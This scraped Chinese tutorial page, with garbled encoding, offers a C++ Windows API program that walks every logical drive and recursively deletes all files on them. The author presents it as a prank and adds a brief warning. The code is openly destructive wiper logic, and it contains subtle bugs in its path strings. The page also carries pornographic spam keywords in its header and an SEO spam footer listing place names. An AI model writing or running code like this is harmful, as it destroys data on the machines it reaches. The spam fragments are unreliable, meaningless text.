国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > C > 正文

基于Windows API實(shí)現(xiàn)遍歷所有文件并刪除的方法

2020-01-26 15:07:48
字體:
供稿:網(wǎng)友

本文實(shí)例講述了基于Windows API實(shí)現(xiàn)遍歷所有文件并刪除的方法。分享給大家供大家參考。具體分析如下:

最近一直在學(xué)windows API,弄了一些好玩的東西(有點(diǎn)惡作劇了,請大家謹(jǐn)慎使用)...
下面是我現(xiàn)學(xué)現(xiàn)賣寫的一個(gè)刪除硬盤上所有文件的小程序 ....

#include <windows.h>#include <stdio.h>#include <bitset>using namespace std;void DelFile(char *cFilePath){ WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s//*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) {  continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) {  sprintf_s(cNewPath,"%s//%s",cFilePath,data.cFileName);  DelFile(cNewPath);//遞歸 }// MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s//%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data));}int WINAPI WinMain( HINSTANCE hInstance,   // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine,     // command line int nCmdShow       // show state){ DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','/0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) {  Path[0]='A'+ix;  DelFile(Path); } } return 0;}

希望本文所述對大家的win32程序設(shè)計(jì)有所幫助。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表

圖片精選

主站蜘蛛池模板: 玉龙| 三江| 蓝田县| 临城县| 义乌市| 怀柔区| 龙游县| 元朗区| 曲沃县| 清水河县| 自治县| 仪征市| 胶州市| 德钦县| 甘孜县| 弥勒县| 宁化县| 股票| 周至县| 柳河县| 商南县| 吉首市| 黑河市| 清远市| 上饶市| 营山县| 石嘴山市| 厦门市| 广昌县| 逊克县| 庆安县| 新巴尔虎右旗| 老河口市| 阿巴嘎旗| 旌德县| 巩留县| 满洲里市| 鹤庆县| 顺平县| 许昌市| 科技|